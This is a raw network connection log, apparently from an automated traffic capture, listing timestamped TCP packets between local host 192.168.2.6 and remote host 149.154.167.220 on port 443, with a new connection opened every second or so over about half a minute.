Jan 6, 2025 14:00:17.505728960 CET	443	62726	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.143923044 CET	443	62726	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.144035101 CET	62726	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.145637035 CET	62726	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.145649910 CET	443	62726	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.145881891 CET	443	62726	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.223629951 CET	62726	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.958403111 CET	62726	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.958523989 CET	443	62726	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.958585978 CET	62726	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.962615967 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.962656975 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:18.962722063 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.963071108 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:18.963079929 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:19.587790966 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:19.587943077 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:19.589401007 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:19.589421034 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:19.589682102 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:19.661142111 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.620822906 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.620959044 CET	443	62728	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:20.621023893 CET	62728	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.624123096 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.624171019 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:20.624249935 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.624558926 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:20.624567032 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.260790110 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.260946035 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.262620926 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.262641907 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.262928009 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.458017111 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.975327015 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.975420952 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.975651979 CET	443	62730	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.976553917 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.976573944 CET	62730	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.978070974 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.978111982 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:21.978245974 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.978527069 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:21.978543997 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:22.582056999 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:22.582195997 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:22.583945036 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:22.583956003 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:22.584264994 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:22.723642111 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.428061008 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.428189039 CET	443	62732	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:23.428277969 CET	62732	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.437689066 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.437721014 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:23.437782049 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.438369989 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:23.438380003 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.079960108 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.080188990 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.081914902 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.081924915 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.082206011 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.239319086 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.823951006 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.824062109 CET	443	62734	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.824119091 CET	62734	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.827287912 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.827352047 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:24.827424049 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.827706099 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:24.827718973 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:25.453938007 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:25.454018116 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:25.455815077 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:25.455826998 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:25.456062078 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:25.551776886 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.437689066 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.437822104 CET	443	62736	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:26.437954903 CET	62736	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.440922976 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.440968037 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:26.441092014 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.441493034 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:26.441505909 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.061819077 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.061888933 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.063446045 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.063468933 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.063786030 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.170793056 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.816807985 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.816812038 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.816849947 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.816903114 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.817019939 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.817125082 CET	443	62738	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.817158937 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.817168951 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:27.817193985 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:27.817193985 CET	62738	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:28.453373909 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:28.454446077 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:28.458489895 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:28.458502054 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:28.458746910 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:28.538486004 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.280441999 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.280574083 CET	443	62740	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:29.280630112 CET	62740	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.350455046 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.350502014 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:29.350570917 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.350913048 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.350924015 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:29.968955994 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:29.969135046 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.971359968 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:29.971371889 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:29.971631050 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:30.036134958 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.703344107 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.703438997 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:30.703668118 CET	443	62742	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:30.703741074 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.703741074 CET	62742	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.706144094 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.706197023 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:30.706286907 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.706507921 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:30.706521034 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:31.313685894 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:31.313791037 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:31.316359043 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:31.316386938 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:31.316723108 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:31.431251049 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.119698048 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.119842052 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.120079994 CET	443	62744	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.120312929 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.120312929 CET	62744	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.124564886 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.124608994 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.128977060 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.129236937 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.129251003 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.746423960 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.746519089 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.752559900 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:32.752573013 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.752868891 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:32.879807949 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.458307981 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.458417892 CET	443	62746	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:33.458478928 CET	62746	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.461260080 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.461324930 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:33.461405993 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.461611032 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:33.461627007 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:34.086555004 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:34.086671114 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:34.088246107 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:34.088255882 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:34.088506937 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:34.223663092 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.882904053 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.883007050 CET	443	62748	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:35.883065939 CET	62748	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.885637999 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.885665894 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:35.885750055 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.886086941 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:35.886100054 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:36.509674072 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:36.509749889 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:36.511328936 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:36.511339903 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:36.511639118 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:36.723329067 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:36.726552963 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.224441051 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.224622965 CET	443	62750	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:37.224704027 CET	62750	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.227504015 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.227549076 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:37.227648020 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.227912903 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.227930069 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:37.863243103 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:37.863322973 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.865294933 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:37.865305901 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:37.865551949 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:38.036159039 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.617244959 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.617345095 CET	443	62752	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:38.617409945 CET	62752	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.620780945 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.620810032 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:38.620877028 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.621179104 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:38.621192932 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.256855965 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.256957054 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.261039972 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.261050940 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.261343956 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.426789999 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.968081951 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.968184948 CET	443	62754	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.968235016 CET	62754	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.971628904 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.971669912 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:39.971734047 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.972125053 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:39.972132921 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:40.587161064 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:40.587239981 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:40.589371920 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:40.589378119 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:40.589603901 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:40.661140919 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.333385944 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.333492994 CET	443	62756	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:41.333590031 CET	62756	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.336256981 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.336282969 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:41.336590052 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.336812973 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.336817980 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:41.948474884 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:41.948554039 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.950787067 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:41.950795889 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:41.951028109 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:42.008024931 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.687971115 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.688060999 CET	443	62758	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:42.688122988 CET	62758	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.690715075 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.690784931 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:42.690859079 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.691098928 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:42.691119909 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:43.297615051 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:43.297761917 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:43.300537109 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:43.300549030 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:43.300827026 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:43.426820993 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.015466928 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.015594959 CET	443	62760	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.015661001 CET	62760	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.019265890 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.019340038 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.019399881 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.019699097 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.019718885 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.649238110 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.649386883 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.650996923 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:44.651010990 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.651241064 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:44.739305973 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.500794888 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.500907898 CET	443	62762	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:45.501009941 CET	62762	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.504514933 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.504559994 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:45.504784107 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.505050898 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:45.505068064 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.128793955 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.128871918 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.131727934 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.131748915 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.131999016 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.252290964 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.845102072 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.845185041 CET	443	62764	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.845252037 CET	62764	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.847253084 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.847280025 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:46.847354889 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.847621918 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:46.847629070 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:47.476675034 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:47.476838112 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:47.478516102 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:47.478523970 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:47.478780031 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:47.554508924 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.203702927 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.203809977 CET	443	62766	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:48.203890085 CET	62766	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.206129074 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.206212044 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:48.206293106 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.206542015 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.206568956 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:48.816287041 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:48.816438913 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.818376064 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:48.818382978 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:48.818686008 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:49.027331114 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:49.027410984 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.536302090 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.536433935 CET	443	62768	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:49.536516905 CET	62768	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.538649082 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.538718939 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:49.538800001 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.539112091 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:49.539139032 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.172586918 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.172703028 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.174644947 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.174675941 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.175009012 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.223683119 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.902581930 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.902781010 CET	443	62770	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.902844906 CET	62770	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.904997110 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.905026913 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:50.905114889 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.905405998 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:50.905419111 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:51.525871992 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:51.526045084 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:51.527662992 CET	62772	443	192.168.2.6	149.154.167.220
Jan 6, 2025 14:00:51.527673960 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:51.527906895 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:51.739348888 CET	443	62772	149.154.167.220	192.168.2.6
Jan 6, 2025 14:00:51.739458084 CET	62772	443	192.168.2.6	149.154.167.220
